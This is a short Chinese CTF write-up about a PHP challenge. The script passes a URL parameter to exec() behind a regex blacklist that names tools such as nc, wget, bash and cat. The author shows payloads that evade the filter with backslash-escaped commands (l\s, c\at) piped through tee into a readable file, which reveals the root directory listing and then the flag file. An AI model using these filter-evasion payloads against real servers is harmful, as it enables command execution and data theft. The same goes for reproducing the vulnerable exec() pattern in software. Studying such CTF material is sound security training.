打开环境,得到php脚本
<?php
highlight_file(__FILE__);
if(isset($_GET['url']))
{
$url=$_GET['url'];
if(preg_match('/bash|nc|wget|ping|ls|cat|more|less|phpinfo|base64|echo|php|python|mv|cp|la|\-|\*|\"|\>|\<|\%|\$/i',$url))
{
echo "Sorry,you can't use this.";
}
else
{
echo "Can you see anything?";
exec($url);
}
}
看到有一个正则匹配名单,要获取flag,首先肯定是要绕过这些的。
首先要注意的是,php脚本中,使用的输出函数是exec,这是无法将输出内容返回到页面的,所以使用将输出复制一份并输出到终端窗口以及写入到名为文本的文件中的方法
?url=l\s / | tee 1.txt
get传参使用该命令:
l\s /部分绕过正则匹配;
|:将前一个命令的输出作为后一个命令的输入;
tee 1.txt:将输出复制一份并输出到终端窗口以及写入到名为1.txt的文件中。
之后访问1.txt文件得到:
得到文件目录,之后使用类似的命令,将flllllaaaaaaggggggg文件中的内容进行查询
?url=c\at /flllll\aaaaaaggggggg | tee 2.txt
同样,访问2.txt文件得到flag